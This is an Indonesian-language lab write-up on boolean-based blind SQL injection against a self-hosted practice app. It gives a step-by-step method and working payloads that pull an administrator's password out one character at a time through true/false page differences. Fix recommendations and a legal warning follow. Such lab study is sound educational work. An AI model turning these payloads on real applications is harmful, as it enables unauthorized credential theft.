

VERZEN

SECURITY LEARNING MODULE

REPORTER Verzen

MODULE VER-03 - Blind SQL Injection (HARD)

TARGET http://127.0.0.1:8012/track - lab lokal milik sendiri

PREREQ VER-01, VER-02 (sudah selesai)

METHOD Conditional response: membaca data via perbedaan perilaku halaman

SUMMARY

Laboratorium ini TIDAK MENAMPILKAN data query dan TIDAK MENAMPILKAN error. Satu-satunya perbedaan: banner Selamat datang kembali! muncul atau tidak. Misi: tetap bisa membaca password administrator dengan mengubah query menjadi serangkaian pertanyaan benar/salah, satu karakter per pertanyaan.

DESCRIPTION

Parameter TrackingId digabung langsung ke SQL: baris ketemu = banner muncul; tidak / error = tanpa banner, tanpa pesan apapun (error ditelan server). Bandingkan VER-02: tidak ada tabel untuk melihat hasil, tidak ada error untuk dibaca - hanya SATU BIT informasi per request.

GET /track?TrackingId=' + <SQL> --

Server: SELECT tracking_id FROM tracking WHERE tracking_id = '<input>'

Banner 'Selamat datang kembali!' = kondisi TRUE, tidak ada = FALSE

METODOLOGI

1. Konfirmasi injeksi

abc123' AND '1'='1 vs abc123' AND '1'='2 => banner muncul vs hilang: oracle siap.

2. Ajukan pertanyaan TRUE/FALSE

abc123' AND SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='F'-- => TRUE jika karakter ke-1 = F.

3. Ukur panjang

abc123' AND LENGTH((SELECT password FROM users WHERE username='administrator'))=N-- => geser N sampai TRUE.

4. Ekstrak per karakter

posisi 1..N, cobakan a-z A-Z 0-9 [_-]: TRUE = benar, lanjut karakter berikutnya.

5. Rakit ulang

gabung semua karakter = password administrator utuh.

PAYLOAD KUNCI

TrackingId=abc123' AND (SELECT 'a')='a'-- [oracle]

TrackingId=abc123' AND LENGTH((SELECT password FROM users
WHERE username='administrator'))=17-- [panjang]

TrackingId=abc123' AND SUBSTR((SELECT password FROM users
WHERE username='administrator'),1,1)='F'-- [karakter 1]

SQLite: SUBSTR(teks,posisi,panjang), LENGTH(teks). MySQL: SUBSTRING/CHAR_LENGTH. PostgreSQL: SUBSTRING/LENGTH.

Konsep sama, nama fungsi berbeda.

MENGAPA BLIND PENTING

Aplikasi nyata jarang menampilkan error atau hasil query. Tetap rentan = tetap bisa diekstrak, hanya lebih lambat: N karakter x ~70 tebakan. Di bounty nyata, bug blind seperti ini sering di-skip pemburu pemula - padahal dampaknya sama dengan UNION biasa.

REKOMENDASI

1. Parameterized query (placeholder ?) - memutus injeksi di akar.
2. Jangan bedakan respons antara kondisi TRUE/FALSE yang lahir dari data.
3. Rate-limit + monitoring pola request bernomor (brute karakter).

CATATAN HUKUM

Lab milik sendiri di localhost untuk pembelajaran. Teknik yang sama kepada sistem orang lain tanpa izin tertulis = ilegal. Jalur legal: program bug bounty dengan scope jelas.